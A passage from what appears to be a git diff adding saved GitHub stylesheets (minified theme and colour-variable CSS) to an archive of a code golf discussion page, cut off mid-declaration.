dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 543px){.minimized-comment>details>summary>div{flex-direction:column}.minimized-comment>details>summary>div .review-comment-contents{align-left:flex-start}}.hx_disabled-input{margin-right:-4px !important;margin-left:-4px !important}.hx_disabled-input sidebar-memex-input[disabled]:not(.no-pointer) *{cursor:pointer}.hx_disabled-input sidebar-memex-input:not([disabled]) .Box-row--hover-gray{background-color:var(--color-canvas-subtle)}.hx_disabled-input .Box-row--hover-gray svg.octicon-pencil{visibility:hidden;opacity:0}.hx_disabled-input .Box-row--hover-gray:hover,.hx_disabled-input .Box-row--hover-gray:focus{padding-top:8px !important;padding-bottom:8px !important}.hx_disabled-input .Box-row--hover-gray:hover svg.octicon-pencil,.hx_disabled-input .Box-row--hover-gray:focus svg.octicon-pencil{visibility:visible;opacity:1}.hx_disabled-input input:not(:disabled){margin-top:8px !important;margin-bottom:8px !important}.hx_disabled-input input[disabled],.hx_disabled-input select[disabled],.hx_disabled-input .form-control[contenteditable=false]{padding-right:0;padding-left:0;margin-right:0;color:var(--color-fg-default) !important;background:transparent;border:0;box-shadow:none;opacity:1}.hx_disabled-input text-expander input[type=text][disabled]{display:none}.hx_disabled-input text-expander input[type=text][disabled]+div.form-control{display:block}.hx_disabled-input text-expander input[type=text]+div.form-control{display:none}.hx_disabled-input input[type=date][disabled]{display:none}.hx_disabled-input input[type=date][disabled]+div.form-control{display:block}.hx_disabled-input input[type=date]+div.form-control{display:none}.hx_disabled-input input[disabled]::placeholder,.hx_disabled-input selected[disabled]::placeholder{color:var(--color-fg-default) !important}.hx_disabled-input .form-select{background-image:none !important}.hx_disabled-input .Box-row--focus-gray:focus{background:var(--color-canvas-subtle)}.summary-iteration .inline-status{display:none}.summary-iteration .block-status{display:inline-block}.list-iteration .inline-status{display:inline}.list-iteration .block-status{display:none}.hx_tabnav-in-dropdown{border-radius:5px 5px 0 0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:first-child .tabnav-tab[aria-current]:not([aria-current=false]){border-left:0}.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tabs .hx_tabnav-in-dropdown-wrapper:last-child .tabnav-tab[aria-current]:not([aria-current=false]){border-right:0}.hx_tabnav-in-dropdown .tabnav-tab.selected,.hx_tabnav-in-dropdown .tabnav-tab[aria-selected=true],.hx_tabnav-in-dropdown .tabnav-tab[aria-current]:not([aria-current=false]){margin-top:-1px;background-color:var(--color-canvas-overlay)}.hx_tabnav-in-dropdown #cloud-tab[aria-selected=false]::after{position:absolute;top:-14px;right:10px;left:auto;z-index:10;display:inline-block;content:"";border:7px solid transparent;border-bottom:7px solid var(--color-canvas-subtle)}.details-overlay-dark[open]>summary::before{z-index:111 !important}.turbo-progress-bar{z-index:2147483647}.timeline-comment .previewable-comment-form textarea{max-height:none} + +/*# sourceMappingURL=global-0d69ca7f0327.css.map*/ \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css new file mode 100644 index 0000000..044e8a7 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css @@ -0,0 +1,3 @@ +:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: 